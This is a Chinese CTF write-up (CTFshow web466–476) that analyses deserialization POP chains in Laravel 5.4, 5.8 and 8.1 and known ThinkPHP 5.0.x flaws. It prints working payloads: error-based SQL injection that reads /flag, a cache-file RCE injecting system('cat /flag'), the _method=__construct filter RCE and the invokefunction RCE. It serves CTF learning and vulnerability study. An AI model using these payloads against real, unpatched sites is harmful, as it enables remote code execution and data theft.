CTFSHOW-框架复现
最后更新时间:
web466-470 Laravel5.4版本 ,提交数据需要base64编码
参考自https://xz.aliyun.com/t/11002、
POP链1-failed
source点
src/Illuminate/Broadcasting/PendingBroadcast.php#__destruct()
,events属性可控,所以可以利用一个拥有dispatch方法或者__call
方法的类传入对象参数event同样可控这里利用到了
src/Faker/Generator.php#__call()
,其中method为dispatch,attributes参数为event(可控),继续跟进可以看到里面有一个
call_user_func_array()
,这里首先arguments根据函数要求需要是一个array类型的对象,我们可以构造。之后再看第一个参数又调用了getFormatter
方法formatters可控,所以直接构造一个键值对即可
但是实际上由于反序列化会触发到该类的
__wake()
方法,formatters数组直接给我清空了pop链2
换一个
__call
方法,这里利用到了Illuminate/Support/Manager.php
method为
dispatch
,parameters可控,其中又调用了driver方法这里driver我们没法控制,所以会调用
getDefaultDriver
方法,后者是一个抽象方法,需要类进行重写,我们先放着。drivers数组是可控的,当没有存在对应键值对时会调用createDriver()
这里的customCreators看起来也是可控的,跟入
callCustomCreator
这里存在一个动态函数RCE,customCreators数组可以构造键值对,参数app可控
所以这里的关键就是这个driver变量可以通过getDefaultDriver
返回一个可控值,这里在它的继承类里去找
在ChannelManager#getDefaultDriver()
中,返回值可控
poc:
1 |
|
Laveral 提交数据的方式
1 |
|
pop链3:
继续寻找新的可利用__call
方法类
Illuminate/Validation/Validator.php#_call
,这里的rule变量不可控,method为patch,而parameters可控,先往后看,跟进
在callExtension
方法中,extensions数组可控,之后会调用call_user_func_array
可能导致RCE。所以关键就是rule变量是否可控或者是个常数
我们跟进Str::snake()
方法,参数经过了一个字符串截取,由于method为dispatch
,截取之后为空字符串,所以可以看到中间并无任何影响,返回仍为空
poc
1 |
|
pop链4
这次去寻找带dispatch
方法的利用类
Illuminate/Events/Dispatcher.php#dispatch
,这里存在一个动态函数调用,先看看前面变量的赋值变化
跟进parseEventAndPayload()
,payload参数并不可控。由于我们控制event是方法的参数,因此其不是个object类对象,将会返回本身。这里还需要注意的是对于foreach结构,我们需要让这个getListeners函数返回值是一个迭代数组
再看看listener变量是咋来的,跟进getListener
方法。这里listeners数组和eventName均可控,由于我们要利用listener值作为动态函数调用,所以其不可能是个类名(比如利用system),因此返回值就是listeners本身
同时注意到system函数是可以支持接收两个参数的
poc:
1 |
|
pop链5:
位于ValidGenerator#call()
,这里对于第一个call_user_func_array()
传入的第一个参数为数组,也就是会调用generator变量的name方法,这里name为dispatch不可控,而generator以及后面的maxRetries和validator变量均可控。所以我们想想利用后面的call_user_func
,前面去寻找一个能够调用返回可控值的__call
方法的对象
于是找到DefaultGenerator.php
,这里default可控
1 |
|
Laravel5.8版本 提交数据需要base64编码
前面的source点不变,定位利用类到
Dispatcher#dispatch()
,我们的目标是进入dispatchToQueue()
方法
因为其中存在call_user_func()
,参数connection为command变量的属性,待寻找
要想进入该方法,三元表达式条件1:queueResolver
变量是可控的且是我们后面构造的调用函数;条件2:还要进入commandShouldBeQueued()
方法
可以看到我们的参数变量command需要满足实现ShouldQueue类接口
找到一个QueuedCommand类,这样的话connection变量我们也可以通过它来构造
对于最终sink类,我们用的是EvalLoader的load方法,里面存在eval函数。
看下definition(MockDefinition类,可用connction构造)的getCode()
这里还有一点注意的就是要绕过一下前面的判断句definition->getClassName()
方法,其需要返回一个不是类名的字符串(也不能是NULL)
这里找一个常量类Line
POC
1 |
|
- Laravel8.1版本 提交数据需要base64编码
source点不变,与Laravel5.5的其实很类似,还是定位在利用类Dispatcher#dispatchToQueue()
上,这里可以直接rce的
poc:
1 |
|
web473 thinkphp 5.0.15
题目给了点提示
1
2
3
4
5
6public function inject(){
$a=request()->get('a/a');
db('users')->insert(['username'=>$a]);
return 'done';
}参考:https://www.cnblogs.com/litlife/p/11273652.html
payload:(跟上前面的路由)
1
index.php?s=index/index/inject&a[0]=inc&a[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&a[2]=1
这里updatexml报错失败,使用exp报错注入
1
index.php?s=index/index/inject&a[0]=inc&a[1]=exp(~(select * from (select version())x))&a[2]=1
这里选择直接读文件
1
index.php?s=index/index/inject&a[0]=inc&a[1]=exp(~(select * from (select load_file('/flag'))x))&a[2]=1
web474
题目给了点提示
1
2
3
4
5thinkphp5.0.5默认控制器的部分代码,使用默认路由:
public function rce(){
Cache::set("cache",input('get.cache'));
return 'done';
}参考链接:https://blog.csdn.net/rfrder/article/details/114599310
题目环境的路由为
1
public/index.php?s=index/index/rce
payload:
1
public/index.php?s=index/index/rce&cache=%0d%0asystem('cat /flag');//
猜测name值为cache,按照规则计算文件名,访问即可
1
runtime/cache/0f/ea6a13c52b4d4725368f24b045ca84.php
web475 ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析
梳理
$this->method可控导致可以调用__contruct()覆盖Request类的filter字段,然后App::run()执行判断debug来决定是否执行$request->param(),并且还有$dispatch[‘type’] 等于controller或者 method 时会执行$request->param(),而$request->param()会进入到input()方法,在这个方法中将被覆盖的filter回调call_user_func(),造成rce
poc:
1
2
3public/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=whoamiApp.php#run()
程序的开始,调用self::routeCheck()
检测路由
其中会进一步调用Route::check()
根据route.php
中的路由配置进行检测
里面存在一个关键函数调用strtolower($request->method())
,跟进后面
其中存在动态函数调用,var_method
对应参数值为_method
。
因此当POST传参_method
时,就会进入该if条件分支,并执行$this->{this->method}($_POST)
因此这里我们可以调用该类的任意方法,参数为POST数组。我们利用构造函数__construct()
(方法名与大小写无关)
在构造方法中,会对该类中的成员属性变量进行覆盖
覆盖结果如下
1 |
|
这里给method变量赋值get的原因是我们的路由会检测到captcha注册时用的get方法,这样才不会出错
之后返回后执行self::exec()
,跟入
由于dispatch变量的type值为method,所以会进入switch对应分支。这里会利用array_merge()
方法合并参数,由于我们之前设置了get参数为数组['whoami']
,因此作用之后传给了param数组
跟入input方法
里面存在解析过滤器,getFilter()
注意到我们之前覆盖变量已经将filter成员变量写成了['system']
,所以最终会将其返回
回到input函数,由于data我们之前传递的param变量数组,因此会来到array_walk_recursive()
该函数的作用是会为data数组中的每一个元素调用filterValue方法,每一个元素会作为第一个参数(类似python中的map函数)
最终看到了sink函数call_user_func()
,filter即为我们的数组成员system
poc2:
回到刚才流程中的param()
方法
跟进method(true)
,会进一步调用server方法
会发现这里还是会调用input方法,这里的server就是之前会被当做参数循环执行filterValue方法的data数组
因此我们只需要将server[REQUEST_METHOD]
设置为whoami
其他保持不变即可照样RCE。注意细节,name是REQUEST_METHOD,所以数组中必须得包含这个键
1 |
|
web476 thinkphp 5.0.0-5.0.23 rce
poc:
1
public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=C:\WINDOWS\System32\calc.exe
首先在
Route.php
中经过url解析得到模块名 控制器名和方法名之后获取到路由信息后还是一样进入
self::exec()
进行调用分发
注意到这里dispatch的type变成了module,因此switch到对应语句,执行module方法,继续跟入
在其中会获取到相应解析好的模块名、控制器名以及操作名,
接着会设置请求的控制器,跟进controller方法
其中会获取模块名以及类名
这里看一下getModuleAndClass方法,对于name如果其中包含反斜线则会直接作为class名返回,这里也就是\think\app
之后调用invokeClass()
方法,利用反射构造对应的Controller类实例
回到module函数,这里会利用反射获取Controller对象的方法也就是invokeFunction
最后会通过invokeMethod()
反射触发invokeFunction()
而在invokeFunction()
中是可以反射调用任意方法function的,可以看到反射获得了我们传的call_user_func_array()
,并获取参数vars
vars即我们传递的参数。最终调用$reflect->invokeArgs($args);
触发